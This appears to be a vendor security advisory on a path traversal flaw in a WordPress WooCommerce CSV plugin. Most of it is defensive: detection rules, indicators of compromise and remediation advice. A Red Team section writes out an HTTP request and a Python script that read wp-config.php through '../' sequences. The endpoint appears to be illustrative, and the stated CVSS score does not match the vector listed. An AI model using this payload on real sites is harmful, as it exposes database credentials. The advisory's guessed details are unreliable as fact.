CVE-2025-54029

Executive Summary

CVE-2025-54029 is a critical path traversal vulnerability affecting the Extendons WooCommerce CSV Import Export plugin (slug: extendons-eo-wooimport-export) for WordPress. The flaw allows an unauthenticated attacker to read arbitrary files on the server by manipulating file path parameters during CSV import/export operations. With a CVSS score of 7.7, this vulnerability poses a high confidentiality risk, potentially exposing sensitive configuration files, database credentials, and other application secrets. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for all versions up to and including 2.0.6.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should immediately assess their exposure and consider removing or disabling the plugin until a patch is released. The lack of OSV or GitHub advisory data indicates limited public awareness, but the risk of exploitation in targeted attacks remains high.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High – Unauthenticated remote file read with no patch available.

Deep Dive & Mechanics

The vulnerability exists in the file handling logic of the WooCommerce CSV Import Export plugin. When processing CSV import/export requests, the plugin fails to properly sanitize user-supplied file paths. An attacker can inject path traversal sequences (e.g., ../../../) to escape the intended upload directory and read arbitrary files from the server’s filesystem.

Root Cause: The plugin uses user input to construct file paths without validating or restricting directory traversal characters. For example, a parameter like file_path or import_file is passed directly to file reading functions (e.g., file_get_contents(), fopen()) without checking for ../ sequences.

Attack Vector: The vulnerability is triggered via HTTP POST requests to the plugin’s AJAX endpoints or admin-ajax.php actions. The attacker does not need authentication, as the import/export functionality may be exposed to unauthenticated users or the plugin fails to enforce capability checks.

Impact: An attacker can read:

• wp-config.php (database credentials, salts)
• /etc/passwd (user enumeration)
• Application logs and debug files
• Other plugins’ configuration files

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical secure implementation.

Vulnerable Code (PHP):

$file_path = $_POST['file_path'];
$content = file_get_contents($file_path);
// Process CSV content...

Patched Code (Hypothetical):

$file_path = $_POST['file_path'];
$allowed_dir = WP_CONTENT_DIR . '/uploads/woo-import-export/';
$real_path = realpath($file_path);
if (strpos($real_path, $allowed_dir) !== 0) {
    die('Invalid file path.');
}
$content = file_get_contents($real_path);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Extendons WooCommerce CSV Import Export plugin <= 2.0.6.
• No authentication required (unauthenticated endpoint).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=eo_import_csv).
2. Craft a POST request with a path traversal payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=eo_import_csv&file_path=../../../wp-config.php
   

3. The response will contain the contents of wp-config.php.

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "eo_import_csv",
    "file_path": "../../../wp-config.php"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for POST requests to admin-ajax.php with suspicious file_path parameters containing ../ sequences.
• Alert on unusual file read attempts from the web server (e.g., reading /etc/passwd or wp-config.php).

Honeypot:

• Deploy a fake wp-config.php with a unique string (e.g., HONEYPOT_TOKEN) and monitor for its access.

Indicators of Compromise (IOCs)

• File Paths: ../../../wp-config.php, ../../../etc/passwd, ../../../etc/shadow
• HTTP Requests: POST to /wp-admin/admin-ajax.php with action=eo_import_csv and file_path parameter containing ../
• Log Entries: Web server logs showing file_get_contents() calls with path traversal patterns.
• Plugin Version: extendons-eo-wooimport-export version <= 2.0.6.

Detection Engineering

YARA Rule

rule CVE_2025_54029_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Extendons WooCommerce CSV Import Export plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54029"
    strings:
        $traversal = /\.\.\/\.\.\/\.\.\/(?:wp-config|etc\/passwd|etc\/shadow)/ nocase
        $plugin_action = "eo_import_csv"
    condition:
        $plugin_action and $traversal
}

Sigma Rule

title: CVE-2025-54029 Path Traversal in WooCommerce CSV Import Export
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts via file_path parameter in admin-ajax.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=eo_import_csv'
        cs-uri-query|contains|all:
            - 'file_path='
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-54029 Path Traversal in WooCommerce CSV Import Export";
    flow:to_server;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=eo_import_csv"; http_client_body;
    content:"file_path="; http_client_body;
    pcre:"/\.\.\//i";
    sid:1000001;
    rev:1;
    reference:cve,2025-54029;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove extendons-eo-wooimport-export until a patch is released.
2. Web Application Firewall (WAF) – Block requests containing file_path with ../ sequences.
3. File Permissions – Ensure wp-config.php is not readable by the web server user (e.g., chmod 600).

Long-Term Fix:

• Vendor must implement proper path validation using realpath() and restrict file access to a whitelisted directory.
• Apply input sanitization and use basename() to strip directory components.

Monitoring:

• Review web server logs for path traversal attempts.
• Enable file integrity monitoring (FIM) on critical files.

Valters IT
Securing Digital Frontiers